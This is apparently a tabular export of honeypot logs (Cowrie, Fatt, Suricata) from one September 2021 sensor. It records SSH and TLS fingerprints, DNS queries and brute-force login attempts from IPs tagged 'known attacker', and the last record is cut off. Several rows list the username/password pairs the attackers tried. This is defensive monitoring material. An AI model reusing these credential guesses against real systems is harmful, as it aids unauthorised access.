32041	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:49:09.071306+03	2021-09-20 15:00:02.951747+03	{"_id": "2QYJA3wBvYTbRNuE2Ud5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "50.19.104.221", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "api.ipify.org", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 49316, "dest_port": 443, "timestamp": "2021-09-20T11:49:09.071306", "@timestamp": "2021-09-20T11:49:09.071Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32042	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:49:09.536654+03	2021-09-20 15:00:02.952717+03	{"_id": "5wYJA3wBvYTbRNuE2kfR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 117.22.230.94:2133 (192.168.176.2:22) [session: 1f3b5eb8f612]", "session": "1f3b5eb8f612", "@version": "1", "protocol": "ssh", "src_port": 2133, "dest_port": 22, "timestamp": "2021-09-20T11:49:09.536654Z", "@timestamp": "2021-09-20T11:49:09.536Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32043	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:49:09.53942+03	2021-09-20 15:00:02.954748+03	{"_id": "6AYJA3wBvYTbRNuE2kfR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "1f3b5eb8f612", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:49:09.539420Z", "@timestamp": "2021-09-20T11:49:09.539Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32044	117.22.230.94	109.199.241.180	Fatt	2021-09-20 14:49:09.807712+03	2021-09-20 15:00:02.955748+03	{"_id": "6gYJA3wBvYTbRNuE3Udi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2133, "dest_port": 22, "timestamp": "2021-09-20T11:49:09.807712", "@timestamp": "2021-09-20T11:49:09.807Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32045	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:49:10.970739+03	2021-09-20 15:00:02.956747+03	{"_id": "7QYJA3wBvYTbRNuE4kei", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.login.failed", "message": "login attempt [test/FvSsUBm82pFXR4DfKa3K] failed", "session": "1f3b5eb8f612", "@version": "1", "password": "FvSsUBm82pFXR4DfKa3K", "username": "test", "timestamp": "2021-09-20T11:49:10.970739Z", "@timestamp": "2021-09-20T11:49:10.970Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32046	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:49:12.244911+03	2021-09-20 15:00:02.958716+03	{"_id": "7gYJA3wBvYTbRNuE5keK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "1f3b5eb8f612", "@version": "1", "duration": 2.705833911895752, "timestamp": "2021-09-20T11:49:12.244911Z", "@timestamp": "2021-09-20T11:49:12.244Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32047	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:49:14.657405+03	2021-09-20 15:00:02.959717+03	{"_id": "8AYJA3wBvYTbRNuE70fn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 48979, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 599734020081661, "@version": "1", "in_iface": "enp5s0", "src_port": 48435, "dest_port": 53, "timestamp": "2021-09-20T11:49:14.657405Z", "@timestamp": "2021-09-20T11:49:14.657Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32048	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:49:14.747299+03	2021-09-20 15:00:02.961716+03	{"_id": "8gYJA3wBvYTbRNuE8Efs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35708, "timestamp": "2021-09-20T11:49:14.747299", "@timestamp": "2021-09-20T11:49:14.747Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32049	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:49:15.394271+03	2021-09-20 15:00:02.962716+03	{"_id": "AAYJA3wBvYTbRNuE8khE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 150.109.115.128:52846 (192.168.176.2:22) [session: 94d2b57a49c1]", "session": "94d2b57a49c1", "@version": "1", "protocol": "ssh", "src_port": 52846, "dest_port": 22, "timestamp": "2021-09-20T11:49:15.394271Z", "@timestamp": "2021-09-20T11:49:15.394Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32050	150.109.115.128	109.199.241.180	Suricata	2021-09-20 14:49:15.604965+03	2021-09-20 15:00:02.963716+03	{"_id": "AgYJA3wBvYTbRNuE80jQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:49:15.185854+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "150.109.115.128", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 84312174876158, "payload": "AAADzAYUtVRYE3f1CbE2OLFBVIe8DgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52846, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:49:15.604965Z", "@timestamp": "2021-09-20T11:49:15.604Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......TX.w...68.AT......(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
32051	150.109.115.128	109.199.241.180	Fatt	2021-09-20 14:49:15.604965+03	2021-09-20 15:00:02.965717+03	{"_id": "AwYJA3wBvYTbRNuE9EjV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "150.109.115.128", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 52846, "dest_port": 22, "timestamp": "2021-09-20T11:49:15.604965", "@timestamp": "2021-09-20T11:49:15.604Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32052	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:49:16.537994+03	2021-09-20 15:00:02.966716+03	{"_id": "BAYJA3wBvYTbRNuE9kgt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.login.failed", "message": "login attempt [root/linktom] failed", "session": "94d2b57a49c1", "@version": "1", "password": "linktom", "username": "root", "timestamp": "2021-09-20T11:49:16.537994Z", "@timestamp": "2021-09-20T11:49:16.537Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32053	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:49:17.749658+03	2021-09-20 15:00:02.968717+03	{"_id": "BwYJA3wBvYTbRNuE-kgW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "94d2b57a49c1", "@version": "1", "duration": 2.3524398803710938, "timestamp": "2021-09-20T11:49:17.749658Z", "@timestamp": "2021-09-20T11:49:17.749Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32054	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:49:23.255397+03	2021-09-20 15:00:02.969717+03	{"_id": "EQYKA3wBvYTbRNuEEUiJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "07f509ec59d1", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:49:23.255397Z", "@timestamp": "2021-09-20T11:49:23.255Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32055	1.116.239.130	109.199.241.180	Fatt	2021-09-20 14:49:23.529529+03	2021-09-20 15:00:02.970716+03	{"_id": "FgYKA3wBvYTbRNuEFEgY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.116.239.130", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 42092, "dest_port": 22, "timestamp": "2021-09-20T11:49:23.529529", "@timestamp": "2021-09-20T11:49:23.529Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32056	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:49:24.672439+03	2021-09-20 15:00:02.972716+03	{"_id": "FwYKA3wBvYTbRNuEFUhx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.login.failed", "message": "login attempt [ajay/password] failed", "session": "07f509ec59d1", "@version": "1", "password": "password", "username": "ajay", "timestamp": "2021-09-20T11:49:24.672439Z", "@timestamp": "2021-09-20T11:49:24.672Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": 